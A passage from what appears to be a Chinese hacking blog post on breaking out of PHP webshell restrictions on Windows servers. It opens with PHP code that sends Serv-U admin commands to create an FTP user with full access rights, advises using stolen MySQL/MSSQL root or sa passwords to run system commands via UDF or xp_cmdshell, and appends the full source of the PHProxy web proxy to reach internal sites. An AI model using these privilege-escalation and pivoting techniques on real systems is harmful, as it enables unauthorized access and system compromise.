fputs ($fp, "-AlwaysAllowLogin=0\r\n");
fputs ($fp, "-ChangePassword=1\r\n");
fputs ($fp, "-QuotaEnable=0\r\n");
fputs ($fp, "-MaxUsersLoginPerIP=-1\r\n");
fputs ($fp, "-SpeedLimitUp=-1\r\n");
fputs ($fp, "-SpeedLimitDown=-1\r\n");
fputs ($fp, "-MaxNrUsers=-1\r\n");
fputs ($fp, "-IdleTimeOut=600\r\n");
fputs ($fp, "-SessionTimeOut=-1\r\n");
fputs ($fp, "-Expire=0\r\n");
fputs ($fp, "-RatioUp=1\r\n");
fputs ($fp, "-RatioDown=1\r\n");
fputs ($fp, "-RatiosCredit=0\r\n");
fputs ($fp, "-QuotaCurrent=0\r\n");
fputs ($fp, "-QuotaMaximum=0\r\n");
fputs ($fp, "-Maintenance=System\r\n");
fputs ($fp, "-PasswordType=Regular\r\n");
fputs ($fp, "-Ratios=None\r\n");
fputs ($fp, " Access=".$homedir."|RWAMELCDP\r\n");
fputs ($fp, "QUIT\r\n");
sleep (1);
while (!feof($fp)) {
echo fgets ($fp,128);
}
}
?>

还可以利用fsockopen编写HTTP代理,从而访问外网或本机中无法外部访问的网站。我手上有一个完整的HTTPProxy(图4),代码较长。有兴趣的读者可以看看。

6、MYSQL/MSSQL接口
不同于linux的是,windows下的mysql/MSSQL一般是以系统管理员身份运行的,因此,只要能拿到本机SQL数据库中的root/sa密码,你就可以直接用PHP连接数据库来执行系统命令。
在Mysql中执行系统命令要利用用户自定义函数“MySQL UDF Dynamic Library”这个漏洞。在MSSQL中只要连接上数据库,就能直接调用“master..xp_cmdshell“扩展执行命令,权限当然是system权限。

总结一下:由于系统、IIS、PHP的版本不一样,以上提到的几个突破方法可能会有所变化,PHP还有许多扩展功能是可以利用的,走出system()那几个系统命令执行函数,你就有可能突破系统安全策略的限制!

后面附上proxy.php的代码

<?php
error_reporting(E_ALL);

/*
// This program is free software; you can redistribute it and/or
// modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation; either version 2
// of the License, or (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
//-------------------------------------------------------------------
// Class: PHProxy
// Author: ultimategamer00 (Abdullah A.)
// Last Modified: 6:28 PM 6/22/2004
*/

function __stripslashes($str)
{
return get_magic_quotes_gpc() ? stripslashes($str) : $str;
}

if (!function_exists('str_rot13'))
{
function str_rot13($str)
{
static $alpha = array('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM');
return strtr($str, $alpha[0], $alpha[1]);
}
}

class PHProxy
{
var $allowed_hosts = array();
var $version;
var $script_url;
var $url;
var $url_segments;
var $flags = array('include_form' => 1, 'remove_scripts' => 1, 'accept_cookies' => 1, 'show_images' =
> 1, 'show_referer' => 1);
var $socket;
var $content_type;
var $request_headers;
var $post_body;
var $response_headers;
var $response_body;

function PHProxy($flags = 'previous')
{
$this->version = '0.2';
$this->script_url = 'http'
. (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on' ? 's' : '')
. "://";
$this->set_flags($flags);
}

function start_transfer($url)
{
$this->set_url($url);
$this->open_socket();
$this->set_request_headers();
$this->set_response();

if ($this->follow_location() === false)
{
if ($this->flags['accept_cookies'] == 1)
{
$this->set_cookies();
}
$this->set_content_type();
}
else
{
$this->start_transfer($this->url);
}
}

function open_socket()
{
$this->socket = @fsockopen($this->url_segments['host'], $this->url_segments['port'], &$errno, &$errstr, 5);

if ($this->socket === false)
{
$this->trigger_error("$errstr (<b>URL:</b> )");
}
}

function set_response()
{
fwrite($this->socket, $this->request_headers);
$response = '';

do
{
$data = fread($this->socket, 8192);
$response .= $data;
}
while (strlen($data) != 0);

fclose($this->socket);
preg_match("#(.*?)\r\n\r\n(.*)#s", $response, $matches);

$this->response_headers = $matches[1];
$this->response_body = $matches[2];
}

function set_content_type()
{
preg_match("#content-type:([^\r\n]*)#i", $this->response_headers, $matches);

if (trim($matches[1]) != '')
{
$content_type_array = explode(';', $matches[1]);
$this->content_type = strtolower(trim($content_type_array[0]));
}
}

function set_url($url)
{
$this->url = $this->decode_url($url);

if (strpos($this->url, '://') === false)
{
$this->url = 'http://' . $this->url;
}

$url_segments = @parse_url($this->url);

if (!empty($url_segments))
{
$url_segments['port'] = isset($url_segments['port']) ? $url_segments['port'] : 80;
$url_segments['path'] = isset($url_segments['path']) ? $url_segments['path'] : '/';
$url_segments['dir'] = substr($url_segments['path'], 0, strrpos($url_segments['path'], '/'));
$url_segments['base'] = $url_segments['scheme'] . '://' . $url_segments['host'] . $url_segments['dir'];
$url_segments['prev_dir'] = $url_segments['path'] != '/' ? substr($url_segments['base'], 0, strrpos($url_segments['base'], '/')+1) : $url_segments['base'] . '/';

$this->url_segments = $url_segments;

/*
URL: http://username:password@< wind_code_1 >
scheme // http
host // www.example.com
port // 80
user // username
pass // password
path // /dir/dir/page.php
query // ? 'foo=bar&foo2=bar2'
fragment // # 'bookmark'

dir // /dir/dir
base // http://www.example.com/dir/dir
prev_dir // http://www.example.com/dir/
*/

if (!empty($this->allowed_hosts) && !in_array($this->url_segments['host'], $this->allowed_hosts))
{
$this->trigger_error('You are only allowed to browse these websites: ' . implode(', ', $this->allowed_hosts));
}
}
else
{
$this->trigger_error('Please supply a valid URL');
}
}

function encode_url($url)
{
$url = str_rot13(urlencode(preg_replace('#^([\w+.-]+)://#i', "/", $url)));
return $url;
}

function decode_url($url)
{
$url = preg_replace('#^([\w+.-]+)/#i', "://", urldecode(str_rot13($url)));
return $url;
}

function modify_urls()
{
preg_match_all("#\s(href|src|action|codebase|url)=([\"\'])?(.*?)([\"\'])?([\s\>])#i", $this->response_body, $matches, PREG_SET_ORDER);

foreach ($matches as $match)
{
$uri = trim($match[3]);
$fragment = ($hash_pos = strpos($uri, '#') !== false) ? '#' . substr($uri, $hash_pos) : '';

if (!preg_match('#^[\w+.-]+://#i', $uri))
{
switch (substr($uri, 0, 1))
{
case '/':
$uri = $this->url_segments['scheme'] . '://' . $this->url_segments['host'] . $uri;
break;
case '#':
continue 2;
default:
$uri = $this->url_segments['base'] . '/' . $uri;
break;
}
}

$uri = $this->encode_url($uri);
$replace = ' ' . $match[1] . '=' . $match[2] . $this->script_url . '?url=' . $uri . $fragment . $match[4] . $match[5];

$this->response_body = str_replace($match[0], $replace, $this->response_body);
}
}

function set_flags($flags)
{
if (is_numeric($flags))
{
setcookie('flags', $flags, time()+(4*7*24*60*60), '', $_SERVER['HTTP_HOST']);
$this->flags['include_form'] = $flags == 1 ? 1 : 0;
$this->flags['remove_scripts'] = $flags == 1 ? 1 : 0;
$this->flags['accept_cookies'] = $flags == 1 ? 1 : 0;
$this->flags['show_images'] = $flags == 1 ? 1 : 0;
$this->flags['show_referer'] = $flags == 1 ? 1 : 0;
}
else if (isset($_COOKIE['flags']))
{
$this->set_flags($_COOKIE['flags']);
}
}

function set_request_headers()
{
$headers = " " . (isset($this->url_segments['query']) ? "?" : '') . " HTTP/1.0\r\n";
$headers .= "Host: :\r\n";
$headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$headers .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\r\n";
$headers .= "Connection: close\r\n";

if ($this->flags['show_referer'] == 1)
{
$headers .= "Referer: \r\n";
}

$cookies = $this->get_cookies();
$headers .= $cookies != '' ? "Cookie: $cookies\r\n" : '';

if ($_SERVER['REQUEST_METHOD'] == 'POST')
{
$this->set_post_body($_POST);

$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: " . strlen($this->post_body) . "\r\n\r\n";
$headers .= $this->post_body;
}

$headers .= "\r\n";

$this->request_headers&nbsp
;= $headers;
}

function set_post_body($array, $parent_key = null)
{
foreach ($array as $key => $value)
{
if (is_array($value))
{
$this->set_post_body($value, isset($parent_key) ? sprintf('%s[%s]', $parent_key, urlencode($key)) : urlencode($key));
}
else
{
$this->post_body .= $this->post_body != '' ? '&' : '';
$key = isset($parent_key) ? sprintf('%s[%s]', $parent_key, urlencode($key)) : urlencode($key);
$this->post_body .= $key . '=' . urlencode(__stripslashes($value));
}
}
}

function follow_location()
{
if (preg_match("#(location|uri):([^\r\n]*)#i", $this->response_headers, $matches))
{
$uri = $this->decode_url(trim($matches[2]));

if (!preg_match('#^[\w+.-]+://#i', $uri))
{
if (substr($uri, 0, 1) == '/')
{
$uri = $this->url_segments['scheme'] . '://' . $this->url_segments['host'] . $uri;
}
else
{
$uri = $this->url_segments['prefix'] . '/' . $uri;
}
}

$this->url = $uri;
return true;
}
return false;
}

function set_cookies()
{
if (preg_match_all("#set-cookie:([^\r\n]*)#i", $this->response_headers, $matches))
{
foreach ($matches[1] as $match)
{
preg_match('#^\s*([^=;,\s]*)=?([^;,\s]*)#', $match, $cookie) ? list(, $name, $value) = $cookie : null;
preg_match('#;\s*expires\s*=([^;]*)#i', $match, $cookie) ? list(, $expires) = $cookie : null;
preg_match('#;\s*path\s*=\s*([^;,\s]*)#i', $match, $cookie) ? list(, $path) = $cookie : null;
preg_match('#;\s*domain\s*=\s*([^;,\s]*)#i', $match, $cookie) ? list(, $domain) = $cookie : null;
preg_match('#;\s*(secure\b)#i', $match, $cookie) ? list(, $secure) = $cookie : null;

$expires = isset($expires) ? strtotime($expires) : 0;
$path = isset($path) ? $path : $this->url_segments['dir'];
$domain = isset($domain) ? $domain : $this->url_segments['host'];
$domain = rtrim($domain, '.');

if (!preg_match("#$domain$#i", $this->url_segments['host']))
{
continue;
}
if (preg_match('#\.(com|edu|net|org|gov|mil|int|aero|biz|coop|info|museum|name|pro)$#i', $domain))
{
if (substr_count($domain, '.') < 2)
{
continue;
}
}
else if (substr_count($domain, '.') < 3)
{
continue;
}
setcookie(urlencode("PHProxy;$name;$domain;$path"), $value, $expires, '', $_SERVER['HTTP_HOST']);
}
}
}

function get_cookies($restrict = true)
{
if (!empty($_COOKIE))
{
$cookies = '';

foreach ($_COOKIE as $cookie_name => $cookie_value)
{
$cookie_args = explode(';', urldecode($cookie_name));

if ($cookie_args[0] != 'PHProxy')
{
continue;
}

if ($restrict)
{
list(, $name, $domain, $path) = $cookie_args;
$domain = str_replace('_', '.', $domain);

if (preg_match("#$domain$#i", $this->url_segments['host']) && preg_match("#^$path#i", $this->url_segments['path']))
{
$cookies .= $cookies != '' ? '; ' : '';
$cookies .= "$name=$cookie_value";
}
}
else
{
array_shift($cookie_args);
$cookie_args[1] = str_replace('_', '.', $cookie_args[1]);
$cookie_args[] = $cookie_value;
$cookies[] = $cookie_args;
}
}
return $cookies;
}
}

function delete_cookies($hash)
{
$cookies = $this->get_cookies(false);

foreach ($cookies as $args)
{
if ($hash == 'all' || $hash == md5($args[0].$args[1].$args[2].$args[3]))
{
setcookie(urlencode("PHProxy;$args[0];$args[1];$args[2]"), '', 1);
}
}
}

function return_response($send_headers = true)
{
if (strpos($this->content_type, 'text/html') !== false || strpos($this->content_type, 'xhtml') !== false)
{
if ($this->flags['remove_scripts'] == 1)
{
$this->remove_scripts();
}
if ($this->flags['show_images'] == 0)
{
$this->remove_images();
}

$this->modify_urls();

if ($this->flags['include_form'] == 1)
{
$this->include_form();
}
}
$headers = explode("\r\n", trim($this->response_headers));
$headers[] = 'Content-Disposition: '. (strpos($this->content_type, 'octet_stream') ? 'attachment' : 'inline') .'; filename='. substr($this->url_segments['path'], strrpos($this->url_segments['path'], '/')+1);
$headers[] = 'Content-Length: '. strlen($this->response_body);

if ($send_headers)
{
foreach ($headers as $header)
{
header($header);
}
}

return $this->response_body;
}

function remove_scripts()
{
$this->response_body = preg_replace('#<script[^>]*?>.*?</script>#si', '', $this->response_body); // Remove any scripts enclosed between <script />
$this->response_body = preg_replace("#\s*(\bon\w+)=([\"\'])?(.*?)([\"\'])?([\s\>])#i", "", $this->response_body); // Remove javascript event handlers
$this->response_body = preg_replace('#<noscript>(.*?)</noscript>#si', "", $this->response_body); //expose any html between <noscript />

}

function remove_images()
{
$this->response_body = preg_replace('#<(img|image)[^>]*?>#si', '', $this->response_body);
}

function include_form()
{
ob_start();
?><script src="javascript.js" type="text/javascript"></script>
<div style="text-align: center;border: 1px solid #00c; color: #000066;background-color: #eeeeff;font-size: 11px">
<form name="proxy_form" method="get" action="<?php echo $_SERVER['PHP_SELF'] ?>">
<input type="hidden" name="url" value="" />
<input type="hidden" name="flags" value="" />
</form>
<form name="settings" action="" method="get" onsubmit="return submit_form();">
Current URI: <input type="text" size="66" name="url" value="<?php echo $this->url ?>" />
<input type="submit" name="browse" value="Browse" onclick="return submit_form();" />
<input type="checkbox" name="new_window" value="true" /> New Window [<a href="<?php echo $this->script_url ?>?url=<?php&nbsp
;echo $this->encode_url($this->url_segments['prev_dir']) ?>">Up One Directory</a>]<br />
<?php echo $this->options_list() ?>
</form></div><hr style="color: #000066" /><?
$form_html = ob_get_contents();
ob_end_clean();
$this->response_body = preg_replace("#\<body(.*?)\>#si", "\n$form_html", $this->response_body, 1);
}

function trigger_error($error)
{
header("Location: $this->script_url?error=$error");
exit;
}

function options_list($tabulate = false, $comments_on = false)
{
$output = '';
$comments = array();
$comments['include_form'] = 'Includes a mini URL-form on every HTML page';
$comments['remove_scripts'] = 'Remove all sorts of client-side scripting';
$comments['accept_cookies'] = 'Accept HTTP cookies';
$comments['show_images'] = 'Show images';
$comments['show_referer'] = 'Show referring website in HTTP headers';

foreach ($this->flags as $flag_code => $flag_status)
{
$interface = array(ucwords(str_replace('_', ' ', $flag_code)),
' <input type="checkbox" name="ops[]"'
. ($flag_status == 1 ? ' checked="checked"' : '') . ' /> '
);
$tabulate ? null : $interface = array_reverse($interface);

$output .= ($tabulate ? '<tr><td class="option">' : '')
. $interface[0]
. ($tabulate ? '</td><td class="option">' : '')
. $interface[1]
. ($comments_on ? $comments[$flag_code] : '')
. ($tabulate ? '</td></tr>' : '');
}

return $output;
}

}

$PHProxy = new PHProxy(isset($_GET['flags']) ? $_GET['flags'] : null);

if (isset($_GET['action'], $_GET['delete']) && $_GET['action'] == 'cookies')
{
$PHProxy->delete_cookies($_GET['delete']);
header("Location: $PHProxy->script_url?action=cookies");
exit();
}

if (isset($_GET['url']))
{
$PHProxy->start_transfer($_GET['url']);
echo $PHProxy->return_response();
exit();
}

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>PHProxy</title>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<style>
body
{
margin: 10px 0px 0px 0px;
padding: 0px;
font-size: 12px;
}

form, input
{
margin: 0px;
padding: 0px;
}

body, input
{
font-family: lucida sans unicode, lucida, helvetica, verdana, arial, sans-serif;
}

input
{
font-size: 10px;
font-weight: bold;
color: #E76B18;

}

.title
{
font-size: 25px;
color: #E67D0B;
border-bottom: 1px solid #E76B18;
}

.error
{
font-size: 12px;
background-color: #FF0000;
color: #FFFFFF;
border-bottom: 1px solid #E76B18;
}

#container
{
border: 1px solid #CCCDD7;
width: 700px;
margin: auto;
}

#menu
{
border-left: 1px solid #CCCDD7;
border-bottom: 1px solid #CCCDD7;
float: right;
height: 20px;
background-color: #EEEEEE;
}

.option
{
height: 25px;
border-bottom: 1px solid #3399FF;
}

.shade
{
background-color: #EEEEEE;
}

.head
{
background-color: #A2AACE;
}

a:link, a:visited
{
color: #21A121;
text-decoration: none;
border-bottom: 1px solid #ffb944;
}

a:hover, a:active
{
color: #3399FF;
text-decoration: none;
border-bottom: 1px solid #ffb944;
}
</style>
<script type="text/javascript">
alpha1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
alpha2 = 'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM';

function str_rot13(str)
{
newStr = '';

for (i = 0; i < str.length; i++)
{
curLet = str.charAt(i);
curLetLoc = alpha1.indexOf(curLet);

if (curLet == '#')
{
document.proxy_form.action += str.substring(i, str.length)
}

newStr += (curLetLoc < 0) ? curLet : alpha2.charAt(curLetLoc);
}

return newStr;
}

function submit_form()
{
flags = '';

for (i = 0; i < document.settings.elements['ops[]'].length; i++)
{
flags += (document.settings.elements['ops[]'].checked == true) ? '1' : '0';
}

document.proxy_form.flags.value = flags;
document.proxy_form.target = (document.settings.new_window.checked == true) ? '_blank' : '_top';
searchPattern = /^([\w+.-]+):\/\//gi;
document.proxy_form.url.value = str_rot13(document.settings.url.value.replace(searchPattern, "\/"));
document.proxy_form.submit();
return false;
}
</script>
</head>
<body>
<div id="container">
<div id="menu"><a href="?action=form">URL Form</a> | <a href="?action=cookies">Manage Cookies</a></div>
<div class="title">PHProxy</div>
<?php

if (isset($_GET['error']))
{
echo '<div class="error"><b>Error:</b> ' . $_GET['error'] . '</div>';
}

if (isset($_GET['action']) && $_GET['action'] == 'cookies')
{
$cookies = $PHProxy->get_cookies(false);

if (!empty($cookies))
{
echo '<table style="width: 100%">';
echo '<tr><td class="option" colspan="5"><a href="?action=cookies&delete=all">Clear All Cookies</a></td></tr>';
echo '<tr><td class="head">Name</td><td class="head">Domain</td><td class="head">Path</td><td class="head">Value</td><td class="head">Action</td></tr>';

for ($i = 0; $i < count($cookies); $i++)
{
$j = $i&1 ? ' class="shade"' : '';
echo "<tr><td$j></td><td$j></td><td$j></td>"
. "<td$j></td><td$j><a href=". '"?action=cookies&delete='. md5(implode('', $cookies[$i])) . '">delete</a></td></tr>';
}

echo '</table>';
}
else
{
echo '<div class="error">No cookies&nbs
p;available.</div>';
}
}
else
{
?>
<form method="get" action="<?php echo $_SERVER['PHP_SELF'] ?>" name="proxy_form">
<input type="hidden" name="url" value="" />
<input type="hidden" name="flags" value="" />
</form>
<form method="get" name="settings" action="" onsubmit="return submit_form();">
<table style="width: 100%">
<tr><td class="option" style="width: 20%">URL</td><td class="option" style="width: 80%"> <input type="text" name="url" size="70" value="" /></td></tr>
<?php echo $PHProxy->options_list(true, true) ?>
</table>
<div style="text-align: center"><input type="checkbox" name="new_window" />New Window <input type="submit" name="browse" value="Browse" onclick="return submit_form();" /><input type="reset" value="Reset Form" /></div>

<?
/*
<div style="text-align: center"><a href="PHProxyhttp://sourceforge.net/projects/poxy/">PHProxy</a> <?php echo $PHProxy->version ?> Copyright 2004 <a href="ultimategamer00http://www.whitefyre.com/">ultimategamer00</a></div>
*/
?>

</form>
<?php
}

echo '</div></body></html>';
?>

分类: 技术文章 标签: ,